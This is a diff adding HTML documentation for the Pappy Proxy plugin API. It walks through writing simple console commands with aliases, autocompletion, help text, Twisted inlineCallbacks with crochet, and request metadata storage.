+        <span class="n">args</span> <span class="o">=</span> <span class="n">shlex</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
+        <span class="k">print</span> <span class="s">&#39;Hello, </span><span class="si">%s</span><span class="s">!&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="s">&#39;, &#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">args</span><span class="p">))</span>
+    <span class="k">else</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&quot;Hello, world!&quot;</span>
+
+<span class="c">###############</span>
+<span class="c">## Plugin hooks</span>
+
+<span class="k">def</span> <span class="nf">load_cmds</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">set_cmds</span><span class="p">({</span>
+        <span class="s">&#39;hello&#39;</span><span class="p">:</span> <span class="p">(</span><span class="n">hello_world</span><span class="p">,</span> <span class="bp">None</span><span class="p">),</span>
+    <span class="p">})</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">add_aliases</span><span class="p">([</span>
+        <span class="p">(</span><span class="s">&#39;hello&#39;</span><span class="p">,</span> <span class="s">&#39;hlo&#39;</span><span class="p">),</span>
+    <span class="p">])</span>
+</pre></div>
+</div>
+<p>Save your changes and restart pappy to reload the plugin:</p>
+<div class="highlight-python"><div class="highlight"><pre>$ pappy -l
+Temporary datafile is /tmp/tmpBOXyJ3
+Proxy is listening on port 8000
+pappy&gt; hello
+Hello, world!
+pappy&gt; hello foo bar baz
+Hello, foo, bar, baz!
+pappy&gt; hello foo bar &quot;baz lihtyur&quot;
+Hello, foo, bar, baz lihtyur!
+pappy&gt;
+</pre></div>
+</div>
+</div>
+<div class="section" id="adding-more-aliases">
+<h3><a class="toc-backref" href="#id7">Adding More Aliases</a><a class="headerlink" href="#adding-more-aliases" title="Permalink to this headline">¶</a></h3>
+<p>So now let&#8217;s add some more aliases to our command. If we want to add a new alias, we just add another tuple to the list passed into <code class="docutils literal"><span class="pre">cmd.add_aliases</span></code>. The first element is the real name of the command (what you set with <code class="docutils literal"><span class="pre">set_cmds</span></code>) and the second value is the alias you want to type. So let&#8217;s make it so we can just type <code class="docutils literal"><span class="pre">ho</span></code> to say hello:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="c">## hello.py</span>
+<span class="kn">import</span> <span class="nn">shlex</span>
+
+<span class="k">def</span> <span class="nf">hello_world</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
+    <span class="k">if</span> <span class="n">line</span><span class="p">:</span>
+        <span class="n">args</span> <span class="o">=</span> <span class="n">shlex</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
+        <span class="k">print</span> <span class="s">&#39;Hello, </span><span class="si">%s</span><span class="s">!&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="s">&#39;, &#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">args</span><span class="p">))</span>
+    <span class="k">else</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&quot;Hello, world!&quot;</span>
+
+<span class="c">###############</span>
+<span class="c">## Plugin hooks</span>
+
+<span class="k">def</span> <span class="nf">load_cmds</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">set_cmds</span><span class="p">({</span>
+        <span class="s">&#39;hello&#39;</span><span class="p">:</span> <span class="p">(</span><span class="n">hello_world</span><span class="p">,</span> <span class="bp">None</span><span class="p">),</span>
+    <span class="p">})</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">add_aliases</span><span class="p">([</span>
+        <span class="p">(</span><span class="s">&#39;hello&#39;</span><span class="p">,</span> <span class="s">&#39;hlo&#39;</span><span class="p">),</span>
+        <span class="p">(</span><span class="s">&#39;hello&#39;</span><span class="p">,</span> <span class="s">&#39;ho&#39;</span><span class="p">),</span>
+    <span class="p">])</span>
+</pre></div>
+</div>
+<div class="admonition note">
+<p class="first admonition-title">Note</p>
+<p class="last">You must use the actual name of the command that you used in <code class="docutils literal"><span class="pre">set_cmds</span></code>. You can&#8217;t &#8220;chain&#8221; alieases. As a result, in our example we couldn&#8217;t add the alias <code class="docutils literal"><span class="pre">('hlo',</span> <span class="pre">'ho')</span></code> to add <code class="docutils literal"><span class="pre">ho</span></code> as our alias.</p>
+</div>
+<p>Then reload the plugin:</p>
+<div class="highlight-python"><div class="highlight"><pre>$ pappy -l
+Temporary datafile is /tmp/tmpBOXyJ3
+Proxy is listening on port 8000
+pappy&gt; ho
+Hello, world!
+pappy&gt; ho foo bar baz
+Hello, foo, bar, baz!
+pappy&gt; ho foo bar &quot;baz lihtyur&quot;
+Hello, foo, bar, baz lihtyur!
+pappy&gt;
+</pre></div>
+</div>
+</div>
+<div class="section" id="adding-another-command">
+<h3><a class="toc-backref" href="#id8">Adding Another Command</a><a class="headerlink" href="#adding-another-command" title="Permalink to this headline">¶</a></h3>
+<p>So now let&#8217;s add a <code class="docutils literal"><span class="pre">robe_and_wizard_hat</span></code> command. To do this, we will define another function, then add another entry in the dict that is passed to <code class="docutils literal"><span class="pre">set_cmds</span></code>. The second value in the tuple is the autocomplete function, but we&#8217;ll get to that later. For now, just put in <code class="docutils literal"><span class="pre">None</span></code> to say we don&#8217;t have one. We will also add a <code class="docutils literal"><span class="pre">wh</span></code> alias to it:</p>
+<div class="highlight-python"><div class="highlight"><pre>$ pappy -l
+Temporary datafile is /tmp/tmpyl2cEZ
+Proxy is listening on port 8000
+pappy&gt; wh
+I put on my robe and wizard hat
+pappy&gt;
+</pre></div>
+</div>
+</div>
+<div class="section" id="adding-autocompletion">
+<h3><a class="toc-backref" href="#id9">Adding Autocompletion</a><a class="headerlink" href="#adding-autocompletion" title="Permalink to this headline">¶</a></h3>
+<p>You can also define a function to handle autocompletion for your command. In order to do this, you define a function that takes 4 arguments: <code class="docutils literal"><span class="pre">text</span></code>, <code class="docutils literal"><span class="pre">line</span></code>, <code class="docutils literal"><span class="pre">begidx</span></code>, and <code class="docutils literal"><span class="pre">endidx</span></code>. From the <a class="reference external" href="https://docs.python.org/2/library/cmd.html">Cmd docs</a>, this is what the arguments mean:</p>
+<blockquote>
+<div><code class="docutils literal"><span class="pre">text</span></code> is the string prefix we are attempting to match: all returned matches must begin with it. <code class="docutils literal"><span class="pre">line</span></code> is the current input line with leading whitespace removed, <code class="docutils literal"><span class="pre">begidx</span></code> and <code class="docutils literal"><span class="pre">endidx</span></code> are the beginning and ending indexes of the prefix text, which could be used to provide different completion depending upon which position the argument is in.</div></blockquote>
+<p>Let&#8217;s let the user to autocomplete some names in our plugin:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="kn">import</span> <span class="nn">shlex</span>
+
+<span class="n">_AUTOCOMPLETE_NAMES</span> <span class="o">=</span> <span class="p">[</span><span class="s">&#39;alice&#39;</span><span class="p">,</span> <span class="s">&#39;allie&#39;</span><span class="p">,</span> <span class="s">&#39;sarah&#39;</span><span class="p">,</span> <span class="s">&#39;mallory&#39;</span><span class="p">,</span> <span class="s">&#39;slagathor&#39;</span><span class="p">]</span>
+
+<span class="k">def</span> <span class="nf">hello_world</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
+    <span class="k">if</span> <span class="n">line</span><span class="p">:</span>
+        <span class="n">args</span> <span class="o">=</span> <span class="n">shlex</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
+        <span class="k">print</span> <span class="s">&#39;Hello, </span><span class="si">%s</span><span class="s">!&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="s">&#39;, &#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">args</span><span class="p">))</span>
+    <span class="k">else</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&quot;Hello, world!&quot;</span>
+
+<span class="k">def</span> <span class="nf">put_on_rope_and_wizard_hat</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
+    <span class="k">if</span> <span class="n">line</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&#39;</span><span class="si">%s</span><span class="s"> puts on their robe and wizard hat&#39;</span> <span class="o">%</span> <span class="n">line</span>
+    <span class="k">else</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&#39;I put on my robe and wizard hat&#39;</span>
+
+<span class="k">def</span> <span class="nf">complete_hello_world</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="n">line</span><span class="p">,</span> <span class="n">begidx</span><span class="p">,</span> <span class="n">endidx</span><span class="p">):</span>
+    <span class="k">return</span> <span class="p">[</span><span class="n">n</span> <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="n">_AUTOCOMPLETE_NAMES</span> <span class="k">if</span> <span class="n">n</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="n">text</span><span class="p">)]</span>
+
+<span class="c">###############</span>
+<span class="c">## Plugin hooks</span>
+
+<span class="k">def</span> <span class="nf">load_cmds</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">set_cmds</span><span class="p">({</span>
+        <span class="s">&#39;hello&#39;</span><span class="p">:</span> <span class="p">(</span><span class="n">hello_world</span><span class="p">,</span> <span class="n">complete_hello_world</span><span class="p">),</span>
+        <span class="s">&#39;wizard_hat&#39;</span><span class="p">:</span> <span class="p">(</span><span class="n">put_on_rope_and_wizard_hat</span><span class="p">,</span> <span class="bp">None</span><span class="p">),</span>
+    <span class="p">})</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">add_aliases</span><span class="p">([</span>
+        <span class="p">(</span><span class="s">&#39;hello&#39;</span><span class="p">,</span> <span class="s">&#39;hlo&#39;</span><span class="p">),</span>
+        <span class="p">(</span><span class="s">&#39;wizard_hat&#39;</span><span class="p">,</span> <span class="s">&#39;wh&#39;</span><span class="p">),</span>
+    <span class="p">])</span>
+</pre></div>
+</div>
+<p>Then restart and run:</p>
+<div class="highlight-python"><div class="highlight"><pre>$ pappy -l
+Temporary datafile is /tmp/tmp3J97rE
+Proxy is listening on port 8000
+pappy&gt; hello
+alice      allie      mallory    sarah      slagathor
+pappy&gt; hello allie
+Hello, allie!
+pappy&gt;
+</pre></div>
+</div>
+<p>You can&#8217;t see it, but I hit tab twice after typing hello to get the completions to appear.</p>
+</div>
+<div class="section" id="adding-help">
+<h3><a class="toc-backref" href="#id10">Adding Help</a><a class="headerlink" href="#adding-help" title="Permalink to this headline">¶</a></h3>
+<p>Now let&#8217;s say we want to add some help to the command so that when the user runs <code class="docutils literal"><span class="pre">help</span> <span class="pre">hello</span></code> they get something useful. To do that, just add a docstring to your function:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="kn">import</span> <span class="nn">shlex</span>
+
+<span class="n">_AUTOCOMPLETE_NAMES</span> <span class="o">=</span> <span class="p">[</span><span class="s">&#39;alice&#39;</span><span class="p">,</span> <span class="s">&#39;allie&#39;</span><span class="p">,</span> <span class="s">&#39;sarah&#39;</span><span class="p">,</span> <span class="s">&#39;mallory&#39;</span><span class="p">,</span> <span class="s">&#39;slagathor&#39;</span><span class="p">]</span>
+
+<span class="k">def</span> <span class="nf">hello_world</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
+    <span class="sd">&quot;&quot;&quot;</span>
+<span class="sd">    Say hello to the world. Usage: hello [name]</span>
+<span class="sd">    &quot;&quot;&quot;</span>
+
+    <span class="k">if</span> <span class="n">line</span><span class="p">:</span>
+        <span class="n">args</span> <span class="o">=</span> <span class="n">shlex</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
+        <span class="k">print</span> <span class="s">&#39;Hello, </span><span class="si">%s</span><span class="s">!&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="s">&#39;, &#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">args</span><span class="p">))</span>
+    <span class="k">else</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&quot;Hello, world!&quot;</span>
+
+<span class="k">def</span> <span class="nf">put_on_rope_and_wizard_hat</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
+    <span class="k">if</span> <span class="n">line</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&#39;</span><span class="si">%s</span><span class="s"> puts on their robe and wizard hat&#39;</span> <span class="o">%</span> <span class="n">line</span>
+    <span class="k">else</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&#39;I put on my robe and wizard hat&#39;</span>
+
+<span class="k">def</span> <span class="nf">complete_hello_world</span><span class="p">(</span><span class="n">text</span><span class="p">,</span> <span class="n">line</span><span class="p">,</span> <span class="n">begidx</span><span class="p">,</span> <span class="n">endidx</span><span class="p">):</span>
+    <span class="k">return</span> <span class="p">[</span><span class="n">n</span> <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="n">_AUTOCOMPLETE_NAMES</span> <span class="k">if</span> <span class="n">n</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="n">text</span><span class="p">)]</span>
+
+<span class="c">###############</span>
+<span class="c">## Plugin hooks</span>
+
+<span class="k">def</span> <span class="nf">load_cmds</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">set_cmds</span><span class="p">({</span>
+        <span class="s">&#39;hello&#39;</span><span class="p">:</span> <span class="p">(</span><span class="n">hello_world</span><span class="p">,</span> <span class="n">complete_hello_world</span><span class="p">),</span>
+        <span class="s">&#39;wizard_hat&#39;</span><span class="p">:</span> <span class="p">(</span><span class="n">put_on_rope_and_wizard_hat</span><span class="p">,</span> <span class="bp">None</span><span class="p">),</span>
+    <span class="p">})</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">add_aliases</span><span class="p">([</span>
+        <span class="p">(</span><span class="s">&#39;hello&#39;</span><span class="p">,</span> <span class="s">&#39;hlo&#39;</span><span class="p">),</span>
+        <span class="p">(</span><span class="s">&#39;wizard_hat&#39;</span><span class="p">,</span> <span class="s">&#39;wh&#39;</span><span class="p">),</span>
+    <span class="p">])</span>
+</pre></div>
+</div>
+</div>
+<div class="section" id="using-defer-inlinecallbacks-with-a-command">
+<h3><a class="toc-backref" href="#id11">Using defer.inlineCallbacks With a Command</a><a class="headerlink" href="#using-defer-inlinecallbacks-with-a-command" title="Permalink to this headline">¶</a></h3>
+<div class="admonition note">
+<p class="first admonition-title">Note</p>
+<p class="last">If you are using inlineCallbacks, you can&#8217;t use any functions which are blocking versions of async functions. For example, you cannot use <a class="reference internal" href="pappyproxy.html#pappyproxy.http.Request.save" title="pappyproxy.http.Request.save"><code class="xref py py-func docutils literal"><span class="pre">pappyproxy.http.Request.save()</span></code></a> and must instead use <a class="reference internal" href="pappyproxy.html#pappyproxy.http.Request.async_deep_save" title="pappyproxy.http.Request.async_deep_save"><code class="xref py py-func docutils literal"><span class="pre">pappyproxy.http.Request.async_deep_save()</span></code></a>.</p>
+</div>
+<div class="admonition note">
+<p class="first admonition-title">Note</p>
+<p class="last">This tutorial won&#8217;t tell you how to use inlineCallbacks in general. Type &#8220;twisted inline callbacks&#8221; into google to figure out what they are. This is mainly just a reminder to use the <code class="docutils literal"><span class="pre">crochet</span></code> wrapper for console commands and warning you that some functions may return deferreds that you may have to deal with.</p>
+</div>
+<p>Since you&#8217;re writing a plugin, you&#8217;ll probably be using functions which return a deferred. And to keep things readable, you&#8217;ll want to use the <code class="docutils literal"><span class="pre">defer.inlineCallbacks</span></code> function wrapper. Unfortunately, you can&#8217;t bind async functions to commands. Luckily, there&#8217;s a library called <a class="reference external" href="https://pypi.python.org/pypi/crochet">crochet</a> which lets you add another wrapper to the function that lets it be used like a blocking function. Rather than talking about it, let&#8217;s write a plugin to call <a class="reference internal" href="pappyproxy.html#pappyproxy.console.load_reqlist" title="pappyproxy.console.load_reqlist"><code class="xref py py-func docutils literal"><span class="pre">pappyproxy.console.load_reqlist()</span></code></a> to print out some requests&#8217; hosts. Let&#8217;s start by pretending it&#8217;s a normal function:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="kn">import</span> <span class="nn">shlex</span>
+<span class="kn">from</span> <span class="nn">pappyproxy.console</span> <span class="kn">import</span> <span class="n">load_reqlist</span>
+
+<span class="k">def</span> <span class="nf">print_hosts</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
+    <span class="n">args</span> <span class="o">=</span> <span class="n">shlex</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
+    <span class="n">reqs</span> <span class="o">=</span> <span class="n">load_reqlist</span><span class="p">(</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="c"># It&#39;s supposed to return a list of requests, right?</span>
+    <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">reqs</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&#39;The host for request </span><span class="si">%s</span><span class="s"> is: </span><span class="si">%s</span><span class="s">&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">reqid</span><span class="p">,</span> <span class="n">r</span><span class="o">.</span><span class="n">host</span><span class="p">)</span>
+
+<span class="c">###############</span>
+<span class="c">## Plugin hooks</span>
+
+<span class="k">def</span> <span class="nf">load_cmds</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">set_cmds</span><span class="p">({</span>
+        <span class="s">&#39;print_hosts&#39;</span><span class="p">:</span> <span class="p">(</span><span class="n">print_hosts</span><span class="p">,</span> <span class="bp">None</span><span class="p">),</span>
+    <span class="p">})</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">add_aliases</span><span class="p">([</span>
+    <span class="p">])</span>
+</pre></div>
+</div>
+<p>And we run it:</p>
+<div class="highlight-python"><div class="highlight"><pre>pappy&gt; print_hosts 1
+Traceback (most recent call last):
+  File &quot;/usr/local/lib/python2.7/dist-packages/cmd2.py&quot;, line 788, in onecmd_plus_hooks
+    stop = self.onecmd(statement)
+  File &quot;/usr/local/lib/python2.7/dist-packages/cmd2.py&quot;, line 871, in onecmd
+    stop = func(statement)
+  File &quot;/home/supahacker/pappy/pappyproxy/console.py&quot;, line 15, in catch
+    func(*args, **kwargs)
+  File &quot;/home/supahacker/.pappy/plugins/hosts.py&quot;, line 7, in print_hosts
+    for r in reqs:
+TypeError: iteration over non-sequence
+iteration over non-sequence
+pappy&gt;
+</pre></div>
+</div>
+<p>Iteration over a non-sequence? what? Well, <a class="reference internal" href="pappyproxy.html#pappyproxy.console.load_reqlist" title="pappyproxy.console.load_reqlist"><code class="xref py py-func docutils literal"><span class="pre">pappyproxy.console.load_reqlist()</span></code></a> doesn&#8217;t actually return a list of requests. It returns a deferred which returns a list of requests. I&#8217;m not going into the details (look up some stuff on using inline callbacks with Twisted if you want more info), but the way to fix it is to slap an <code class="docutils literal"><span class="pre">inlineCallbacks</span></code> wrapper on the function and <code class="docutils literal"><span class="pre">yield</span></code> the result of the function. Now it looks like this:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="kn">import</span> <span class="nn">shlex</span>
+<span class="kn">from</span> <span class="nn">pappyproxy.console</span> <span class="kn">import</span> <span class="n">load_reqlist</span>
+<span class="kn">from</span> <span class="nn">twisted.internet</span> <span class="kn">import</span> <span class="n">defer</span>
+
+<span class="nd">@defer.inlineCallbacks</span>
+<span class="k">def</span> <span class="nf">print_hosts</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
+    <span class="n">args</span> <span class="o">=</span> <span class="n">shlex</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
+    <span class="n">reqs</span> <span class="o">=</span> <span class="k">yield</span> <span class="n">load_reqlist</span><span class="p">(</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
+    <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">reqs</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&#39;The host for request </span><span class="si">%s</span><span class="s"> is: </span><span class="si">%s</span><span class="s">&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">reqid</span><span class="p">,</span> <span class="n">r</span><span class="o">.</span><span class="n">host</span><span class="p">)</span>
+
+<span class="c">###############</span>
+<span class="c">## Plugin hooks</span>
+
+<span class="k">def</span> <span class="nf">load_cmds</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">set_cmds</span><span class="p">({</span>
+        <span class="s">&#39;print_hosts&#39;</span><span class="p">:</span> <span class="p">(</span><span class="n">print_hosts</span><span class="p">,</span> <span class="bp">None</span><span class="p">),</span>
+    <span class="p">})</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">add_aliases</span><span class="p">([</span>
+    <span class="p">])</span>
+</pre></div>
+</div>
+<p>However, the console assumes that any functions it calls will be blocking. As a result, we need to add the <code class="docutils literal"><span class="pre">crochet.wait_for</span></code> wrapper:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="kn">import</span> <span class="nn">shlex</span>
+<span class="kn">import</span> <span class="nn">crochet</span>
+<span class="kn">from</span> <span class="nn">pappyproxy.console</span> <span class="kn">import</span> <span class="n">load_reqlist</span>
+<span class="kn">from</span> <span class="nn">twisted.internet</span> <span class="kn">import</span> <span class="n">defer</span>
+
+<span class="nd">@crochet.wait_for</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="bp">None</span><span class="p">)</span>
+<span class="nd">@defer.inlineCallbacks</span>
+<span class="k">def</span> <span class="nf">print_hosts</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
+    <span class="n">args</span> <span class="o">=</span> <span class="n">shlex</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
+    <span class="n">reqs</span> <span class="o">=</span> <span class="k">yield</span> <span class="n">load_reqlist</span><span class="p">(</span><span class="n">args</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
+    <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">reqs</span><span class="p">:</span>
+        <span class="k">print</span> <span class="s">&#39;The host for request </span><span class="si">%s</span><span class="s"> is: </span><span class="si">%s</span><span class="s">&#39;</span> <span class="o">%</span> <span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">reqid</span><span class="p">,</span> <span class="n">r</span><span class="o">.</span><span class="n">host</span><span class="p">)</span>
+
+<span class="c">###############</span>
+<span class="c">## Plugin hooks</span>
+
+<span class="k">def</span> <span class="nf">load_cmds</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">set_cmds</span><span class="p">({</span>
+        <span class="s">&#39;print_hosts&#39;</span><span class="p">:</span> <span class="p">(</span><span class="n">print_hosts</span><span class="p">,</span> <span class="bp">None</span><span class="p">),</span>
+    <span class="p">})</span>
+    <span class="n">cmd</span><span class="o">.</span><span class="n">add_aliases</span><span class="p">([</span>
+    <span class="p">])</span>
+</pre></div>
+</div>
+<p>And now we&#8217;re good! If you run it without the crochet wrapper, it may still work. However, since the console assumes any functions it calls will be blocking, not having the wrapper could lead to weird errors.</p>
+</div>
+</div>
+<div class="section" id="plugin-api">
+<h2><a class="toc-backref" href="#id12">Plugin API</a><a class="headerlink" href="#plugin-api" title="Permalink to this headline">¶</a></h2>
+<p>There are also some useful functions that you can use to interact with the request history and the context. It&#8217;s somewhat limited for now, but for now you can at least look through history and create/send new requests. Hopefully the API will expand as people find themselves wanting to do new things. That means <strong>if you&#8217;re writing a plugin, let me know and I&#8217;ll add any APIs you need</strong>. For now at least, plugins will let you maintain state over the course of the session and let you define commands.</p>
+<p>The best way to learn what you can do is to go through the <span class="xref std std-ref">pappyproxy-package</span> and look at all the available functions.</p>
+<div class="section" id="api-functions">
+<h3><a class="toc-backref" href="#id13">API Functions</a><a class="headerlink" href="#api-functions" title="Permalink to this headline">¶</a></h3>
+<p>See <a class="reference internal" href="pappyproxy.html#module-pappyproxy.plugin" title="pappyproxy.plugin"><code class="xref py py-mod docutils literal"><span class="pre">pappyproxy.plugin</span></code></a> for docs on all the functions you can use. You can also use any of the functions provided for writing macros (and vice-versa).</p>
+</div>
+<div class="section" id="storing-data-on-disk">
+<h3><a class="toc-backref" href="#id14">Storing Data on Disk</a><a class="headerlink" href="#storing-data-on-disk" title="Permalink to this headline">¶</a></h3>
+<p>Unfortunately, you&#8217;re on your own if you want to store plugin specific stuff on disk. It&#8217;s also important that you store any data that is specific to a project in the same directory as the data file. This is to make sure that if you encrypt your project folder, you can be sure that no sensitive data about the test can be found anywhere else. The only time you should store anything outside of the current directory is to store global plugin settings, and even then it would probably be better to parse options from <code class="docutils literal"><span class="pre">config.config_dict</span></code>. Pappy doesn&#8217;t even store data outside of the project directory except for its CA certificates.</p>
+<p>However, if your plugin is a special snowflake that needs to store unencrypted, global settings, you should create a directory for your plugin in <code class="docutils literal"><span class="pre">{config.DATA_DIR}/plugindata</span></code> and put your files there. But again, avoid this if you can.</p>
+<div class="admonition note">
+<p class="first admonition-title">Note</p>
+<p class="last">Any project-specific data (ie anything that contains info about requests) should be stored in the project directory unless you have a really really good reason. This is because it must be possible to secure any sensitive data by encrypting the project folder and storing data outside of the directory will add complications.</p>
+</div>
+<div class="admonition warning">
+<p class="first admonition-title">Warning</p>
+<p class="last">Do not modify the data file schema. There is a good chance the schema will break in future versions of Pappy.</p>
+</div>
+</div>
+<div class="section" id="storing-custom-request-metadata">
+<h3><a class="toc-backref" href="#id15">Storing Custom Request Metadata</a><a class="headerlink" href="#storing-custom-request-metadata" title="Permalink to this headline">¶</a></h3>
+<p><a class="reference internal" href="pappyproxy.html#pappyproxy.http.Request" title="pappyproxy.http.Request"><code class="xref py py-class docutils literal"><span class="pre">pappyproxy.http.Request</span></code></a> objects have a <code class="docutils literal"><span class="pre">plugin_data</span></code> attribute. It is a dictionary that is intended to be used by plugins to give the request custom metadata. If you want to store metadata about a request, it is suggested that you add a key to this dictionary and store any metadata you want under that key. You can use <code class="xref py py-func docutils literal"><span class="pre">pappyproxy.http.Request.get_plugin_dict()</span></code> to get a dictionary for a specific name. It will create an entry for that name if it doesn&#8217;t exist. I also suggest defining a function plugin-wide for getting the plugin&#8217;s data dict from a specific request. Since dictionaries are always passed by reference, any modifications you make to the returned dict will be applied to the request as well.</p>
+<div class="admonition note">
+<p class="first admonition-title">Note</p>
+<p class="last">You will need to save the request using something like <a class="reference internal" href="pappyproxy.html#pappyproxy.http.Request.save" title="pappyproxy.http.Request.save"><code class="xref py py-func docutils literal"><span class="pre">pappyproxy.http.Request.save()</span></code></a> or <a class="reference internal" href="pappyproxy.html#pappyproxy.http.Request.async_deep_save" title="pappyproxy.http.Request.async_deep_save"><code class="xref py py-func docutils literal"><span class="pre">pappyproxy.http.Request.async_deep_save()</span></code></a> in order to store the changes in the data file.</p>
+</div>
+<p>Here is an example plugin for storing the user-agent (if it exists) in the <code class="docutils literal"><span class="pre">plugin_data</span></code> dict of a request under the key <code class="docutils literal"><span class="pre">agent</span></code>:</p>
+<div class="highlight-python"><div class="highlight"><pre><span class="kn">import</span> <span class="nn">crochet</span>
+<span class="kn">import</span> <span class="nn">shlex</span>
+<span class="kn">from</span> <span class="nn">twisted.internet</span> <span class="kn">import</span> <span class="n">defer</span>
+
+<span class="kn">from</span> <span class="nn">pappyproxy.console</span> <span class="kn">import</span> <span class="n">load_reqlist</span>
+<span class="kn">from</span> <span class="nn">pappyproxy.plugin</span> <span class="kn">import</span> <span class="n">main_context</span>
+<span class="kn">from</span> <span class="nn">pappyproxy.util</span> <span class="kn">import</span> <span class="n">PappyException</span>
+
+<span class="n">DATA_KEY</span> <span class="o">=</span> <span class="s">&#39;agent&#39;</span>
+
+<span class="k">def</span> <span class="nf">get_data</span><span class="p">(</span><span class="n">r</span><span class="p">):</span>
+    <span class="k">return</span> <span class="n">r</span><span class="o">.</span><span class="n">get_plugin_dict</span><span class="p">(</span><span class="n">DATA_KEY</span><span class="p">)</span>
+
+<span class="nd">@crochet.wait_for</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="bp">None</span><span class="p">)</span>
+<span class="nd">@defer.inlineCallbacks</span>
+<span class="k">def</span> <span class="nf">update_agent_metadata</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
+    <span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="n">main_context</span><span class="p">()</span><span class="o">.</span><span class="n">active_requests</span><span class="p">:</span>
+        <span class="k">if</span> <span class="s">&#39;user-agent&#39;</span> <span class="ow">in</span> <span class="n">r</span><span class="o">.</span><span class="n">headers</span><span class="p">:</span>
+            <span class="n">get_data</span><span class="p">(</span><span class="n">r</span><span class="p">)[</span><span class="s">&#39;agent&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s">&#39;user-agent&#39;</span><span class="p">]</span>
+        <span class="k">yield</span> <span class="n">r</span><span class="o">.</span><span class="n">async_deep_save</span><span class="p">()</span>
+
+<span class="nd">@crochet.wait_for</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="bp">None</span><span class="p">)</span>
+<span class="nd">@defer.inlineCallbacks</span>
+<span class="k">def</span> <span class="nf">view_agent</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
+    <span class="n">args</span> <span class="o">=</span> <span class="n">shlex</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
